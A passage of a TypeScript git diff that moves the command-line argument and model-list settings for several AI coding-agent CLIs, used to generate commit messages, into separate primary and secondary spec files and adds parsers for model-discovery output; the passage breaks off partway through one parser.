-      binary: 'claude',
-      args: [...CLAUDE_MODEL_LIST_ARGS],
-      stdinPayload: CLAUDE_MODEL_LIST_STDIN,
-      parse: parseClaudeModels
-    },
-    models: [
-      {
-        // Why: Claude Code aliases track the account/provider's supported
-        // model IDs; hardcoded version IDs can be rejected by Bedrock/Vertex.
-        id: 'haiku',
-        label: 'Haiku'
-      },
-      {
-        id: 'sonnet',
-        label: 'Sonnet',
-        thinkingLevels: CLAUDE_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'opus',
-        label: 'Opus',
-        thinkingLevels: CLAUDE_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      }
-    ],
-    defaultModelId: 'sonnet'
-  },
-  codex: {
-    id: 'codex',
-    label: 'Codex',
-    binary: 'codex',
-    // Why: `codex exec` reads stdin when no prompt arg is supplied. Commit
-    // prompts include large staged diffs, so argv would exceed Windows and
-    // some SSH/POSIX command-line limits.
-    promptDelivery: 'stdin',
-    buildArgs: ({ model, thinkingLevel }) => [
-      'exec',
-      // Why: commit-message generation needs text only, not a persisted agent
-      // session or workspace writes. Match the safe git-text mode used by
-      // local-first coding agents.
-      '--ephemeral',
-      '--skip-git-repo-check',
-      '-s',
-      'read-only',
-      '--model',
-      model,
-      ...(thinkingLevel ? ['-c', `model_reasoning_effort=${thinkingLevel}`] : [])
-    ],
-    // `-c` is intentionally absent: Codex accepts repeated overrides.
-    singletonOptions: [['--model', '-m']],
-    modelSource: 'dynamic',
-    modelDiscovery: {
-      binary: 'codex',
-      args: ['debug', 'models'],
-      parse: parseCodexModels
-    },
-    // Why: ordered to match the official `codex` model picker — descending
-    // by version so the frontier model lands on top and legacy models trail.
-    models: [
-      {
-        id: 'gpt-5.5',
-        label: 'GPT-5.5',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.4',
-        label: 'GPT-5.4',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.4-mini',
-        label: 'GPT-5.4 Mini',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.3-codex',
-        label: 'GPT-5.3 Codex',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        // Why: Codex's Spark variant accepts `model_reasoning_effort` (the
-        // CLI banner reports "reasoning effort: medium" by default); the
-        // gating that surfaces "model not supported" is on the account
-        // tier, not the effort flag.
-        id: 'gpt-5.3-codex-spark',
-        label: 'GPT-5.3 Codex Spark',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.2',
-        label: 'GPT-5.2',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      }
-    ],
-    defaultModelId: 'gpt-5.5'
-  },
-  opencode: {
-    id: 'opencode',
-    label: 'OpenCode',
-    binary: 'opencode',
-    // Why: Source Control AI prompts can include large staged diffs; OpenCode
-    // accepts the prompt on stdin, which avoids cross-platform argv limits.
-    promptDelivery: 'stdin',
-    buildArgs: ({ model, thinkingLevel }) => [
-      'run',
-      '--model',
-      model,
-      '--agent',
-      'build',
-      '--format',
-      'default',
-      ...(thinkingLevel ? ['--variant', thinkingLevel] : [])
-    ],
-    singletonOptions: [['--model', '-m'], ['--agent'], ['--format'], ['--variant']],
-    modelSource: 'dynamic',
-    modelDiscovery: { binary: 'opencode', args: ['models'], parse: parseLineModels },
-    models: [
-      {
-        // Why: OpenCode's hosted GPT models can require workspace billing even
-        // when `opencode models` lists them. This free model is available in
-        // discovery and works as a usable out-of-the-box default.
-        id: 'opencode/deepseek-v4-flash-free',
-        label: 'OpenCode DeepSeek V4 Flash Free'
-      },
-      {
-        id: 'opencode/gpt-5.4-mini',
-        label: 'OpenCode GPT 5.4 Mini',
-        ...withOpenAiThinking('gpt-5.4-mini')
-      }
-    ],
-    defaultModelId: 'opencode/deepseek-v4-flash-free'
-  },
-  pi: {
-    id: 'pi',
-    label: 'Pi',
-    binary: 'pi',
-    promptDelivery: 'stdin',
-    buildArgs: ({ model, thinkingLevel }) => [
-      '--print',
-      '--no-session',
-      '--no-tools',
-      '--no-extensions',
-      '--no-skills',
-      '--no-context-files',
-      '--mode',
-      'text',
-      '--model',
-      model,
-      ...(thinkingLevel ? ['--thinking', thinkingLevel] : [])
-    ],
-    modelSource: 'dynamic',
-    modelDiscovery: { binary: 'pi', args: ['--list-models'], parse: parsePiModels },
-    models: [
-      {
-        // Why: Pi commonly authenticates through GitHub Copilot locally; using
-        // that provider avoids selecting a raw OpenAI model when no key exists.
-        id: 'github-copilot/gpt-5.4-mini',
-        label: 'Github Copilot GPT 5.4 Mini',
-        ...withOpenAiThinking('gpt-5.4-mini')
-      }
-    ],
-    defaultModelId: 'github-copilot/gpt-5.4-mini'
-  },
-  amp: {
-    id: 'amp',
-    label: 'Amp',
-    binary: 'amp',
-    promptDelivery: 'stdin',
-    buildArgs: ({ model, thinkingLevel }) => [
-      '--execute',
-      '--no-notifications',
-      '--no-ide',
-      '--no-jetbrains',
-      '--mode',
-      model,
-      ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
-    ],
-    // Amp selects the model with `--mode`, not `--model`.
-    singletonOptions: [['--mode']],
-    modelSource: 'static',
-    models: [
-      { id: 'smart', label: 'Smart' },
-      { id: 'rush', label: 'Rush' },
-      {
-        id: 'large',
-        label: 'Large',
-        thinkingLevels: BASIC_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'deep',
-        label: 'Deep',
-        thinkingLevels: BASIC_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      }
-    ],
-    defaultModelId: 'smart'
-  },
-  cursor: {
-    id: 'cursor',
-    label: 'Cursor',
-    binary: 'cursor-agent',
-    promptDelivery: 'argv',
-    buildArgs: ({ prompt, model }) => [
-      '--print',
-      '--mode',
-      'ask',
-      '--trust',
-      '--output-format',
-      'text',
-      '--model',
-      model,
-      prompt
-    ],
-    modelSource: 'dynamic',
-    modelDiscovery: { binary: 'cursor-agent', args: ['--list-models'], parse: parseCursorModels },
-    models: [{ id: 'auto', label: 'Auto' }],
-    defaultModelId: 'auto'
-  },
-  kimi: {
-    id: 'kimi',
-    label: 'Kimi',
-    binary: 'kimi',
-    // Why: kimi-code accepts the generation prompt only via --prompt/-p (Claude's
-    // --print is rejected). Deliver on argv so --prompt receives the text (#11669).
-    promptDelivery: 'argv',
-    buildArgs: ({ prompt, model, thinkingLevel }) => [
-      '--prompt',
-      prompt,
-      '--quiet',
-      ...(model && model !== 'default' ? ['--model', model] : []),
-      ...(thinkingLevel === 'on'
-        ? ['--thinking']
-        : thinkingLevel === 'off'
-          ? ['--no-thinking']
-          : [])
-    ],
-    modelSource: 'static',
-    models: [
-      { id: 'default', label: 'Config default' },
-      {
-        // Why: Kimi resolves its managed model by provider/model; bare model
-        // names are rejected by the CLI with "LLM not set".
-        id: 'kimi-code/kimi-for-coding',
-        label: 'Kimi K2.6',
-        thinkingLevels: [
-          { id: 'on', label: 'On' },
-          { id: 'off', label: 'Off' }
-        ],
-        defaultThinkingLevel: 'on'
-      }
-    ],
-    defaultModelId: 'default'
-  },
-  copilot: {
-    id: 'copilot',
-    label: 'GitHub Copilot',
-    binary: 'copilot',
-    promptDelivery: 'argv',
-    buildArgs: ({ prompt, model, thinkingLevel }) => [
-      '--prompt',
-      prompt,
-      '--silent',
-      '--stream',
-      'off',
-      '--no-custom-instructions',
-      '--model',
-      model,
-      ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
-    ],
-    modelSource: 'static',
-    // Why: Copilot CLI's picker is policy-filtered per account/org. Keep the
-    // full hosted CLI catalog here so users can select models enabled for them.
-    models: [
-      { id: 'auto', label: 'Auto' },
-      {
-        id: 'claude-haiku-4.5',
-        label: 'Claude Haiku 4.5'
-      },
-      {
-        id: 'claude-sonnet-4.5',
-        label: 'Claude Sonnet 4.5'
-      },
-      {
-        id: 'claude-sonnet-4.6',
-        label: 'Claude Sonnet 4.6'
-      },
-      {
-        id: 'claude-opus-4.5',
-        label: 'Claude Opus 4.5'
-      },
-      {
-        id: 'claude-opus-4.6',
-        label: 'Claude Opus 4.6'
-      },
-      {
-        id: 'claude-opus-4.6-fast',
-        label: 'Claude Opus 4.6 Fast'
-      },
-      {
-        id: 'claude-opus-4.7',
-        label: 'Claude Opus 4.7'
-      },
-      {
-        id: 'gpt-4.1',
-        label: 'GPT-4.1'
-      },
-      {
-        id: 'gpt-5-mini',
-        label: 'GPT-5 Mini',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.2',
-        label: 'GPT-5.2',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.2-codex',
-        label: 'GPT-5.2 Codex',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.3-codex',
-        label: 'GPT-5.3 Codex',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.4',
-        label: 'GPT-5.4',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.4-mini',
-        label: 'GPT-5.4 Mini',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      },
-      {
-        id: 'gpt-5.5',
-        label: 'GPT-5.5',
-        thinkingLevels: OPENAI_THINKING_LEVELS,
-        defaultThinkingLevel: 'low'
-      }
-    ],
-    defaultModelId: 'gpt-5.4'
-  },
-  antigravity: {
-    id: 'antigravity',
-    label: 'Antigravity',
-    binary: 'agy',
-    promptDelivery: 'stdin',
-    buildArgs: ({ model }) => ['--print', '--sandbox', '--model', model],
-    modelSource: 'dynamic',
-    modelDiscovery: { binary: 'agy', args: ['models'], parse: parseAntigravityModels },
-    models: [
-      { id: 'Gemini 3.5 Flash (Medium)', label: 'Gemini 3.5 Flash (Medium)' },
-      { id: 'Gemini 3.5 Flash (High)', label: 'Gemini 3.5 Flash (High)' },
-      { id: 'Gemini 3.5 Flash (Low)', label: 'Gemini 3.5 Flash (Low)' }
-    ],
-    defaultModelId: 'Gemini 3.5 Flash (Medium)'
-  }
+  ...buildPrimaryCommitMessageAgentSpecs({
+    CLAUDE_THINKING_LEVELS,
+    OPENAI_THINKING_LEVELS,
+    parseClaudeModels,
+    parseCodexModels,
+    parseLineModels,
+    parsePiModels,
+    withOpenAiThinking
+  }),
+  ...buildSecondaryCommitMessageAgentSpecs({
+    BASIC_THINKING_LEVELS,
+    OPENAI_THINKING_LEVELS,
+    parseCursorModels,
+    parseAntigravityModels
+  })
 }
 
 export const DEFAULT_COMMIT_MESSAGE_AGENT_ID: TuiAgent = 'claude'
diff --git a/src/shared/commit-message-agent-specs-primary.ts b/src/shared/commit-message-agent-specs-primary.ts
new file mode 100644
index 00000000000..e6ba42f775b
--- /dev/null
+++ b/src/shared/commit-message-agent-specs-primary.ts
@@ -0,0 +1,223 @@
+import type { TuiAgent } from './tui-agent'
+import type {
+  CommitMessageAgentSpec,
+  CommitMessageModel,
+  ThinkingLevel
+} from './commit-message-agent-spec'
+import { CLAUDE_MODEL_LIST_ARGS, CLAUDE_MODEL_LIST_STDIN } from './claude-model-list-probe'
+
+type PrimaryAgentSpecDeps = {
+  CLAUDE_THINKING_LEVELS: ThinkingLevel[]
+  OPENAI_THINKING_LEVELS: ThinkingLevel[]
+  parseClaudeModels: (stdout: string) => CommitMessageModel[]
+  parseCodexModels: (stdout: string) => CommitMessageModel[]
+  parseLineModels: (stdout: string) => CommitMessageModel[]
+  parsePiModels: (stdout: string) => CommitMessageModel[]
+  withOpenAiThinking: (
+    id: string
+  ) => Pick<CommitMessageModel, 'thinkingLevels' | 'defaultThinkingLevel'>
+}
+
+export function buildPrimaryCommitMessageAgentSpecs({
+  CLAUDE_THINKING_LEVELS,
+  OPENAI_THINKING_LEVELS,
+  parseClaudeModels,
+  parseCodexModels,
+  parseLineModels,
+  parsePiModels,
+  withOpenAiThinking
+}: PrimaryAgentSpecDeps): Partial<Record<TuiAgent, CommitMessageAgentSpec>> {
+  return {
+    claude: {
+      id: 'claude',
+      label: 'Claude',
+      binary: 'claude',
+      // Why: diffs can be large and `claude -p` reads from stdin natively when no
+      // positional prompt is provided.
+      promptDelivery: 'stdin',
+      buildArgs: ({ model, thinkingLevel }) => [
+        '-p',
+        '--output-format',
+        'text',
+        '--model',
+        model,
+        '--permission-mode',
+        'plan',
+        ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
+      ],
+      modelSource: 'dynamic',
+      // Why: the Claude CLI has no listing subcommand; one list_models control
+      // request over --print stream-json returns the /model picker catalog.
+      // Older CLIs answer with a control error and exit 0, keeping the fallback.
+      modelDiscovery: {
+        binary: 'claude',
+        args: [...CLAUDE_MODEL_LIST_ARGS],
+        stdinPayload: CLAUDE_MODEL_LIST_STDIN,
+        parse: parseClaudeModels
+      },
+      models: [
+        {
+          // Why: Claude Code aliases track the account/provider's supported
+          // model IDs; hardcoded version IDs can be rejected by Bedrock/Vertex.
+          id: 'haiku',
+          label: 'Haiku'
+        },
+        {
+          id: 'sonnet',
+          label: 'Sonnet',
+          thinkingLevels: CLAUDE_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'opus',
+          label: 'Opus',
+          thinkingLevels: CLAUDE_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        }
+      ],
+      defaultModelId: 'sonnet'
+    },
+    codex: {
+      id: 'codex',
+      label: 'Codex',
+      binary: 'codex',
+      // Why: `codex exec` reads stdin when no prompt arg is supplied. Commit
+      // prompts include large staged diffs, so argv would exceed Windows and
+      // some SSH/POSIX command-line limits.
+      promptDelivery: 'stdin',
+      buildArgs: ({ model, thinkingLevel }) => [
+        'exec',
+        // Why: commit-message generation needs text only, not a persisted agent
+        // session or workspace writes. Match the safe git-text mode used by
+        // local-first coding agents.
+        '--ephemeral',
+        '--skip-git-repo-check',
+        '-s',
+        'read-only',
+        '--model',
+        model,
+        ...(thinkingLevel ? ['-c', `model_reasoning_effort=${thinkingLevel}`] : [])
+      ],
+      // `-c` is intentionally absent: Codex accepts repeated overrides.
+      singletonOptions: [['--model', '-m']],
+      modelSource: 'dynamic',
+      modelDiscovery: {
+        binary: 'codex',
+        args: ['debug', 'models'],
+        parse: parseCodexModels
+      },
+      // Why: ordered to match the official `codex` model picker — descending
+      // by version so the frontier model lands on top and legacy models trail.
+      models: [
+        {
+          id: 'gpt-5.5',
+          label: 'GPT-5.5',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.4',
+          label: 'GPT-5.4',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.4-mini',
+          label: 'GPT-5.4 Mini',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.3-codex',
+          label: 'GPT-5.3 Codex',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          // Why: Codex's Spark variant accepts `model_reasoning_effort` (the
+          // CLI banner reports "reasoning effort: medium" by default); the
+          // gating that surfaces "model not supported" is on the account
+          // tier, not the effort flag.
+          id: 'gpt-5.3-codex-spark',
+          label: 'GPT-5.3 Codex Spark',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.2',
+          label: 'GPT-5.2',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        }
+      ],
+      defaultModelId: 'gpt-5.5'
+    },
+    opencode: {
+      id: 'opencode',
+      label: 'OpenCode',
+      binary: 'opencode',
+      // Why: Source Control AI prompts can include large staged diffs; OpenCode
+      // accepts the prompt on stdin, which avoids cross-platform argv limits.
+      promptDelivery: 'stdin',
+      buildArgs: ({ model, thinkingLevel }) => [
+        'run',
+        '--model',
+        model,
+        '--agent',
+        'build',
+        '--format',
+        'default',
+        ...(thinkingLevel ? ['--variant', thinkingLevel] : [])
+      ],
+      singletonOptions: [['--model', '-m'], ['--agent'], ['--format'], ['--variant']],
+      modelSource: 'dynamic',
+      modelDiscovery: { binary: 'opencode', args: ['models'], parse: parseLineModels },
+      models: [
+        {
+          // Why: OpenCode's hosted GPT models can require workspace billing even
+          // when `opencode models` lists them. This free model is available in
+          // discovery and works as a usable out-of-the-box default.
+          id: 'opencode/deepseek-v4-flash-free',
+          label: 'OpenCode DeepSeek V4 Flash Free'
+        },
+        {
+          id: 'opencode/gpt-5.4-mini',
+          label: 'OpenCode GPT 5.4 Mini',
+          ...withOpenAiThinking('gpt-5.4-mini')
+        }
+      ],
+      defaultModelId: 'opencode/deepseek-v4-flash-free'
+    },
+    pi: {
+      id: 'pi',
+      label: 'Pi',
+      binary: 'pi',
+      promptDelivery: 'stdin',
+      buildArgs: ({ model, thinkingLevel }) => [
+        '--print',
+        '--no-session',
+        '--no-tools',
+        '--no-extensions',
+        '--no-skills',
+        '--no-context-files',
+        '--mode',
+        'text',
+        '--model',
+        model,
+        ...(thinkingLevel ? ['--thinking', thinkingLevel] : [])
+      ],
+      modelSource: 'dynamic',
+      modelDiscovery: { binary: 'pi', args: ['--list-models'], parse: parsePiModels },
+      models: [
+        {
+          // Why: Pi commonly authenticates through GitHub Copilot locally; using
+          // that provider avoids selecting a raw OpenAI model when no key exists.
+          id: 'github-copilot/gpt-5.4-mini',
+          label: 'Github Copilot GPT 5.4 Mini',
+          ...withOpenAiThinking('gpt-5.4-mini')
+        }
+      ],
+      defaultModelId: 'github-copilot/gpt-5.4-mini'
+    }
+  }
+}
diff --git a/src/shared/commit-message-agent-specs-secondary.ts b/src/shared/commit-message-agent-specs-secondary.ts
new file mode 100644
index 00000000000..e22fce018f8
--- /dev/null
+++ b/src/shared/commit-message-agent-specs-secondary.ts
@@ -0,0 +1,227 @@
+import type { TuiAgent } from './tui-agent'
+import type {
+  CommitMessageAgentSpec,
+  CommitMessageModel,
+  ThinkingLevel
+} from './commit-message-agent-spec'
+
+type SecondaryAgentSpecDeps = {
+  BASIC_THINKING_LEVELS: ThinkingLevel[]
+  OPENAI_THINKING_LEVELS: ThinkingLevel[]
+  parseCursorModels: (stdout: string) => CommitMessageModel[]
+  parseAntigravityModels: (stdout: string) => CommitMessageModel[]
+}
+
+export function buildSecondaryCommitMessageAgentSpecs({
+  BASIC_THINKING_LEVELS,
+  OPENAI_THINKING_LEVELS,
+  parseCursorModels,
+  parseAntigravityModels
+}: SecondaryAgentSpecDeps): Partial<Record<TuiAgent, CommitMessageAgentSpec>> {
+  return {
+    amp: {
+      id: 'amp',
+      label: 'Amp',
+      binary: 'amp',
+      promptDelivery: 'stdin',
+      buildArgs: ({ model, thinkingLevel }) => [
+        '--execute',
+        '--no-notifications',
+        '--no-ide',
+        '--no-jetbrains',
+        '--mode',
+        model,
+        ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
+      ],
+      // Amp selects the model with `--mode`, not `--model`.
+      singletonOptions: [['--mode']],
+      modelSource: 'static',
+      models: [
+        { id: 'smart', label: 'Smart' },
+        { id: 'rush', label: 'Rush' },
+        {
+          id: 'large',
+          label: 'Large',
+          thinkingLevels: BASIC_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'deep',
+          label: 'Deep',
+          thinkingLevels: BASIC_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        }
+      ],
+      defaultModelId: 'smart'
+    },
+    cursor: {
+      id: 'cursor',
+      label: 'Cursor',
+      binary: 'cursor-agent',
+      promptDelivery: 'argv',
+      buildArgs: ({ prompt, model }) => [
+        '--print',
+        '--mode',
+        'ask',
+        '--trust',
+        '--output-format',
+        'text',
+        '--model',
+        model,
+        prompt
+      ],
+      modelSource: 'dynamic',
+      modelDiscovery: { binary: 'cursor-agent', args: ['--list-models'], parse: parseCursorModels },
+      models: [{ id: 'auto', label: 'Auto' }],
+      defaultModelId: 'auto'
+    },
+    kimi: {
+      id: 'kimi',
+      label: 'Kimi',
+      binary: 'kimi',
+      // Why: kimi-code accepts the generation prompt only via --prompt/-p (Claude's
+      // --print is rejected). Deliver on argv so --prompt receives the text (#11669).
+      promptDelivery: 'argv',
+      buildArgs: ({ prompt, model, thinkingLevel }) => [
+        '--prompt',
+        prompt,
+        '--quiet',
+        ...(model && model !== 'default' ? ['--model', model] : []),
+        ...(thinkingLevel === 'on'
+          ? ['--thinking']
+          : thinkingLevel === 'off'
+            ? ['--no-thinking']
+            : [])
+      ],
+      modelSource: 'static',
+      models: [
+        { id: 'default', label: 'Config default' },
+        {
+          // Why: Kimi resolves its managed model by provider/model; bare model
+          // names are rejected by the CLI with "LLM not set".
+          id: 'kimi-code/kimi-for-coding',
+          label: 'Kimi K2.6',
+          thinkingLevels: [
+            { id: 'on', label: 'On' },
+            { id: 'off', label: 'Off' }
+          ],
+          defaultThinkingLevel: 'on'
+        }
+      ],
+      defaultModelId: 'default'
+    },
+    copilot: {
+      id: 'copilot',
+      label: 'GitHub Copilot',
+      binary: 'copilot',
+      promptDelivery: 'argv',
+      buildArgs: ({ prompt, model, thinkingLevel }) => [
+        '--prompt',
+        prompt,
+        '--silent',
+        '--stream',
+        'off',
+        '--no-custom-instructions',
+        '--model',
+        model,
+        ...(thinkingLevel ? ['--effort', thinkingLevel] : [])
+      ],
+      modelSource: 'static',
+      // Why: Copilot CLI's picker is policy-filtered per account/org. Keep the
+      // full hosted CLI catalog here so users can select models enabled for them.
+      models: [
+        { id: 'auto', label: 'Auto' },
+        {
+          id: 'claude-haiku-4.5',
+          label: 'Claude Haiku 4.5'
+        },
+        {
+          id: 'claude-sonnet-4.5',
+          label: 'Claude Sonnet 4.5'
+        },
+        {
+          id: 'claude-sonnet-4.6',
+          label: 'Claude Sonnet 4.6'
+        },
+        {
+          id: 'claude-opus-4.5',
+          label: 'Claude Opus 4.5'
+        },
+        {
+          id: 'claude-opus-4.6',
+          label: 'Claude Opus 4.6'
+        },
+        {
+          id: 'claude-opus-4.6-fast',
+          label: 'Claude Opus 4.6 Fast'
+        },
+        {
+          id: 'claude-opus-4.7',
+          label: 'Claude Opus 4.7'
+        },
+        {
+          id: 'gpt-4.1',
+          label: 'GPT-4.1'
+        },
+        {
+          id: 'gpt-5-mini',
+          label: 'GPT-5 Mini',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.2',
+          label: 'GPT-5.2',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.2-codex',
+          label: 'GPT-5.2 Codex',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.3-codex',
+          label: 'GPT-5.3 Codex',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.4',
+          label: 'GPT-5.4',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.4-mini',
+          label: 'GPT-5.4 Mini',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        },
+        {
+          id: 'gpt-5.5',
+          label: 'GPT-5.5',
+          thinkingLevels: OPENAI_THINKING_LEVELS,
+          defaultThinkingLevel: 'low'
+        }
+      ],
+      defaultModelId: 'gpt-5.4'
+    },
+    antigravity: {
+      id: 'antigravity',
+      label: 'Antigravity',
+      binary: 'agy',
+      promptDelivery: 'stdin',
+      buildArgs: ({ model }) => ['--print', '--sandbox', '--model', model],
+      modelSource: 'dynamic',
+      modelDiscovery: { binary: 'agy', args: ['models'], parse: parseAntigravityModels },
+      models: [
+        { id: 'Gemini 3.5 Flash (Medium)', label: 'Gemini 3.5 Flash (Medium)' },
+        { id: 'Gemini 3.5 Flash (High)', label: 'Gemini 3.5 Flash (High)' },
+        { id: 'Gemini 3.5 Flash (Low)', label: 'Gemini 3.5 Flash (Low)' }
+      ],
+      defaultModelId: 'Gemini 3.5 Flash (Medium)'
+    }
+  }
+}
diff --git a/src/shared/commit-message-model-parsers.ts b/src/shared/commit-message-model-parsers.ts
new file mode 100644
index 00000000000..036557d5b89
--- /dev/null
+++ b/src/shared/commit-message-model-parsers.ts
@@ -0,0 +1,248 @@
+import { assertJsonTextStructureWithinLimits } from './json-text-structure-limit'
+import { parseClaudeModelList } from './claude-model-list-probe'
+import { labelFromModelId } from './model-id-label'
+import type { CommitMessageModel, ThinkingLevel } from './commit-message-agent-spec'
+
+export const COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS = {
+  structuralTokens: 64 * 1024,
+  nestingDepth: 16
+} as const
+
+export const BASIC_THINKING_LEVELS: ThinkingLevel[] = [
+  { id: 'low', label: 'Low' },
+  { id: 'medium', label: 'Medium' },
+  { id: 'high', label: 'High' }
+]
+
+export const OPENAI_THINKING_LEVELS: ThinkingLevel[] = [
+  { id: 'low', label: 'Low' },
+  { id: 'medium', label: 'Medium' },
+  { id: 'high', label: 'High' },
+  { id: 'xhigh', label: 'Extra High' }
+]
+
+export const CLAUDE_THINKING_LEVELS: ThinkingLevel[] = [
+  { id: 'low', label: 'Low' },
+  { id: 'medium', label: 'Medium' },
+  { id: 'high', label: 'High' },
+  { id: 'xhigh', label: 'Extra High' },
+  { id: 'max', label: 'Max' }
+]
+
+function uniqueModels(models: CommitMessageModel[]): CommitMessageModel[] {
+  const seen = new Set<string>()
+  return models.filter((model) => {
+    if (!model.id || seen.has(model.id)) {
+      return false
+    }
+    seen.add(model.id)
+    return true
+  })
+}
+
+function* iterateModelOutputLines(output: string): Generator<string> {
+  let lineStart = 0
+
+  for (let index = 0; index < output.length; index++) {
+    const code = output.charCodeAt(index)
+    if (code !== 10 && code !== 13) {
+      continue
+    }
+
+    yield output.slice(lineStart, index)
+    if (code === 13 && output.charCodeAt(index + 1) === 10) {
+      index++
+    }
+    lineStart = index + 1
+  }
+
+  if (lineStart <= output.length) {
+    yield output.slice(lineStart)
+  }
+}
+
+export function withOpenAiThinking(
+  id: string
+): Pick<CommitMessageModel, 'thinkingLevels' | 'defaultThinkingLevel'> {
+  return /(?:gpt-5|codex)/i.test(id)
+    ? { thinkingLevels: OPENAI_THINKING_LEVELS, defaultThinkingLevel: 'low' }
+    : {}
+}
+
+export function parseClaudeModels(stdout: string): CommitMessageModel[] {
+  return uniqueModels(
+    parseClaudeModelList(stdout).map((model) => {
+      const thinkingLevels = CLAUDE_THINKING_LEVELS.filter((level) =>
+        model.effortLevels.includes(level.id)
+      )
+      return {
+        id: model.id,
+        label: model.label,
+        ...(model.description ? { description: model.description } : {}),
+        ...(thinkingLevels.length > 0
+          ? {
+              thinkingLevels,
+              defaultThinkingLevel: thinkingLevels.some((level) => level.id === 'low')
+                ? 'low'
+                : thinkingLevels[0].id
+            }
+          : {}),
+        ...(model.supportsFastMode ? { supportsFastMode: true } : {})
+      }
+    })
+  )
+}
+
+export function parseCodexModels(stdout: string): CommitMessageModel[] {
+  try {
+    assertJsonTextStructureWithinLimits(stdout, COMMIT_MESSAGE_MODEL_JSON_STRUCTURE_LIMITS)
+    const parsed = JSON.parse(stdout) as {
+      models?: {
+        slug?: string
+        display_name?: string
+        supported_reasoning_levels?: { effort?: string }[]
+        default_reasoning_level?: string
+      }[]
+    }
+    return uniqueModels(
+      (parsed.models ?? [])
+        .filter((model) => model.slug && model.display_name)
+        .map((model) => ({
+          id: model.slug!,
+          label: model.display_name!,
+          ...(model.supported_reasoning_levels?.length
+            ? {
+                thinkingLevels: model.supported_reasoning_levels
+                  .map((level) => level.effort)
+                  .filter((effort): effort is string => Boolean(effort))
+                  .map((effort) => ({
+                    id: effort,
+                    label: effort === 'xhigh' ? 'Extra High' : labelFromModelId(effort)
+                  })),
+                defaultThinkingLevel: model.default_reasoning_level ?? 'low'
+              }
+            : {})
+        }))
+    )
+  } catch {
+    return []
+  }
+}
+
+export function parseLineModels(stdout: string): CommitMessageModel[] {
+  const models: CommitMessageModel[] = []
+  for (const rawLine of iterateModelOutputLines(stdout)) {
+    const id = rawLine.trim()
+    if (id.length === 0 || id.includes(' ')) {
+      continue
+    }
+    models.push({
+      id,
+      label: labelFromModelId(id),
+      ...withOpenAiThinking(id)
+    })
+  }
+  return uniqueModels(models)
+}
+
+export function parsePiModels(stdout: string): CommitMessageModel[] {
+  const models: CommitMessageModel[] = []
+  for (const rawLine of iterateModelOutputLines(stdout)) {
+    const parts = getPiModelTableFields(rawLine, 6)
+    if (parts.length < 6 || parts[0] === 'provider') {
+      continue
+    }
+
+    const [provider, model, , , thinking] = parts
+    const id = `${provider}/${model}`
+    models.push({
+      id,
+      label: `${labelFromModelId(provider)} ${labelFromModelId(model)}`,
+      ...(thinking === 'yes'
+        ? {
+            thinkingLevels: [
+              { id: 'off', label: 'Off' },
+              { id: 'low', label: 'Low' },
+              { id: 'medium', label: 'Medium' },
+              { id: 'high', label: 'High' },
+              { id: 'xhigh', label: 'Extra High' }
+            ],
